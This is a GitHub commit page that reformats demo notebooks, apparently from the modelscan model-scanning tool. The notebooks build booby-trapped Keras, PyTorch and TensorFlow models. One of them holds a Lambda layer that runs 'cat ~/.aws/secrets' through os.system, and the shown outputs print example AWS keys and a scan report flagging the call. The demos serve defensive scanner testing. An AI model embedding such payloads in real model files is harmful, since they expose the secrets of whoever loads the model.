Skip to content

Commit

Permalink
style(black): black format notebooks
Browse files Browse the repository at this point in the history
  • Loading branch information
CandiedCode committed Apr 18, 2024
1 parent 89e4aeb commit b9cb994
Show file tree
Hide file tree
Showing 4 changed files with 17 additions and 30 deletions.
2 changes: 1 addition & 1 deletion .devcontainer/aws_secrets_example
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
15 changes: 6 additions & 9 deletions notebooks/keras_fashion_mnist.ipynb
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,7 @@
"source": [
"import tensorflow as tf\n",
"import os\n",
"\n",
"tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\n",
"from utils.tensorflow_fashion_mnist_model import train_model, get_predictions"
]
Expand Down Expand Up @@ -107,7 +108,9 @@
"\n",
"safe_model_path = os.path.join(model_directory, \"safe_model.h5\")\n",
"model = train_model()\n",
"model.save(safe_model_path,)"
"model.save(\n",
" safe_model_path,\n",
")"
]
},
{
Expand Down Expand Up @@ -208,16 +211,10 @@
"source": [
"safe_model_loaded = tf.keras.models.load_model(safe_model_path)\n",
"\n",
"attack = ( \n",
" lambda x: os.system(\n",
" \"\"\"cat ~/.aws/secrets\"\"\"\n",
" )\n",
" or x\n",
")\n",
"attack = lambda x: os.system(\"\"\"cat ~/.aws/secrets\"\"\") or x\n",
"\n",
"lambda_layer = tf.keras.layers.Lambda(attack)(safe_model_loaded.outputs[-1])\n",
"unsafe_model = tf.keras.Model(inputs=safe_model_loaded.inputs, outputs=lambda_layer)\n",
"\n"
"unsafe_model = tf.keras.Model(inputs=safe_model_loaded.inputs, outputs=lambda_layer)"
]
},
{
Expand Down
25 changes: 7 additions & 18 deletions notebooks/pytorch_sentiment_analysis.ipynb
Original file line number Diff line number Diff line change
Expand Up @@ -23,11 +23,8 @@
"name": "stdout",
"output_type": "stream",
"text": [
"\n",
"\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m A new release of pip is available: \u001b[0m\u001b[31;49m23.0.1\u001b[0m\u001b[39;49m -> \u001b[0m\u001b[32;49m24.0\u001b[0m\n",
"\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m To update, run: \u001b[0m\u001b[32;49mpip install --upgrade pip\u001b[0m\n",
"Note: you may need to restart the kernel to use updated packages.\n",
"modelscan, version 0.7.3\n"
"modelscan, version 0.0.0\n"
]
}
],
Expand All @@ -45,17 +42,8 @@
"name": "stdout",
"output_type": "stream",
"text": [
"\n",
"\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m A new release of pip is available: \u001b[0m\u001b[31;49m23.0.1\u001b[0m\u001b[39;49m -> \u001b[0m\u001b[32;49m24.0\u001b[0m\n",
"\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m To update, run: \u001b[0m\u001b[32;49mpip install --upgrade pip\u001b[0m\n",
"Note: you may need to restart the kernel to use updated packages.\n",
"\n",
"\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m A new release of pip is available: \u001b[0m\u001b[31;49m23.0.1\u001b[0m\u001b[39;49m -> \u001b[0m\u001b[32;49m24.0\u001b[0m\n",
"\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m To update, run: \u001b[0m\u001b[32;49mpip install --upgrade pip\u001b[0m\n",
"Note: you may need to restart the kernel to use updated packages.\n",
"\n",
"\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m A new release of pip is available: \u001b[0m\u001b[31;49m23.0.1\u001b[0m\u001b[39;49m -> \u001b[0m\u001b[32;49m24.0\u001b[0m\n",
"\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m To update, run: \u001b[0m\u001b[32;49mpip install --upgrade pip\u001b[0m\n",
"Note: you may need to restart the kernel to use updated packages.\n"
]
}
Expand All @@ -82,7 +70,7 @@
"name": "stderr",
"output_type": "stream",
"text": [
"/home/vscode/.local/lib/python3.9/site-packages/tqdm/auto.py:21: TqdmWarning: IProgress not found. Please update jupyter and ipywidgets. See https://ipywidgets.readthedocs.io/en/stable/user_install.html\n",
"/home/vscode/.cache/pypoetry/virtualenvs/modelscan-d-AHl6rn-py3.9/lib/python3.9/site-packages/tqdm/auto.py:21: TqdmWarning: IProgress not found. Please update jupyter and ipywidgets. See https://ipywidgets.readthedocs.io/en/stable/user_install.html\n",
" from .autonotebook import tqdm as notebook_tqdm\n"
]
}
Expand Down Expand Up @@ -236,7 +224,8 @@
"output_type": "stream",
"text": [
"aws_access_key_id=AKIAIOSFODNN7EXAMPLE\n",
"aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEYThe overall sentiment is: negative with a score of: 85.9%\n"
"aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n",
"The overall sentiment is: negative with a score of: 85.9%\n"
]
}
],
Expand Down Expand Up @@ -330,8 +319,8 @@
"\u001b[1m{\u001b[0m\u001b[32m\"summary\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"total_issues_by_severity\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"LOW\"\u001b[0m: \u001b[1;36m0\u001b[0m, \u001b[32m\"MEDIUM\"\u001b[0m: \u001b[1;36m0\u001b[0m, \u001b[32m\"HIGH\"\u001b[0m: \u001b[1;36m0\u001b[0m, \n",
"\u001b[32m\"CRITICAL\"\u001b[0m: \u001b[1;36m1\u001b[0m\u001b[1m}\u001b[0m, \u001b[32m\"total_issues\"\u001b[0m: \u001b[1;36m1\u001b[0m, \u001b[32m\"input_path\"\u001b[0m: \n",
"\u001b[32m\"./PyTorchModels/unsafe_model.pt\"\u001b[0m, \u001b[32m\"absolute_path\"\u001b[0m: \n",
"\u001b[32m\"/workspaces/modelscan/notebooks/PyTorchModels\"\u001b[0m, \u001b[32m\"modelscan_version\"\u001b[0m: \u001b[32m\"0.7.3\"\u001b[0m, \n",
"\u001b[32m\"timestamp\"\u001b[0m: \u001b[32m\"2024-04-18T01:45:44.730232\"\u001b[0m, \u001b[32m\"scanned\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"total_scanned\"\u001b[0m: \u001b[1;36m1\u001b[0m, \n",
"\u001b[32m\"/workspaces/modelscan/notebooks/PyTorchModels\"\u001b[0m, \u001b[32m\"modelscan_version\"\u001b[0m: \u001b[32m\"0.0.0\"\u001b[0m, \n",
"\u001b[32m\"timestamp\"\u001b[0m: \u001b[32m\"2024-04-18T02:28:52.260000\"\u001b[0m, \u001b[32m\"scanned\"\u001b[0m: \u001b[1m{\u001b[0m\u001b[32m\"total_scanned\"\u001b[0m: \u001b[1;36m1\u001b[0m, \n",
"\u001b[32m\"scanned_files\"\u001b[0m: \u001b[1m[\u001b[0m\u001b[32m\"unsafe_model.pt:unsafe_model/data.pkl\"\u001b[0m\u001b[1m]\u001b[0m\u001b[1m}\u001b[0m\u001b[1m}\u001b[0m, \u001b[32m\"issues\"\u001b[0m: \n",
"\u001b[1m[\u001b[0m\u001b[1m{\u001b[0m\u001b[32m\"description\"\u001b[0m: \u001b[32m\"Use of unsafe operator 'system' from module 'posix'\"\u001b[0m, \n",
"\u001b[32m\"operator\"\u001b[0m: \u001b[32m\"system\"\u001b[0m, \u001b[32m\"module\"\u001b[0m: \u001b[32m\"posix\"\u001b[0m, \u001b[32m\"source\"\u001b[0m: \n",
Expand Down Expand Up @@ -362,7 +351,7 @@
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.10.14"
"version": "3.9.19"
},
"vscode": {
"interpreter": {
Expand Down
5 changes: 3 additions & 2 deletions notebooks/tensorflow_fashion_mnist.ipynb
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,7 @@
"source": [
"import tensorflow as tf\n",
"import os\n",
"\n",
"tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\n",
"from utils.tensorflow_fashion_mnist_model import train_model, get_predictions\n",
"from utils.tensorflow_codeinjection import MaliciousModule"
Expand Down Expand Up @@ -101,7 +102,7 @@
"\n",
"safe_model_path = os.path.join(model_directory, \"safe_model\")\n",
"model = train_model()\n",
"model.save(safe_model_path)\n"
"model.save(safe_model_path)"
]
},
{
Expand Down Expand Up @@ -197,7 +198,7 @@
"outputs": [],
"source": [
"unsafe_model = MaliciousModule(model)\n",
"unsafe_model.build(input_shape=(None, 28,28))\n",
"unsafe_model.build(input_shape=(None, 28, 28))\n",
"\n",
"# Save the unsafe model\n",
"unsafe_model_path = os.path.join(model_directory, \"unsafe_model\")\n",
Expand Down

0 comments on commit b9cb994

Please sign in to comment.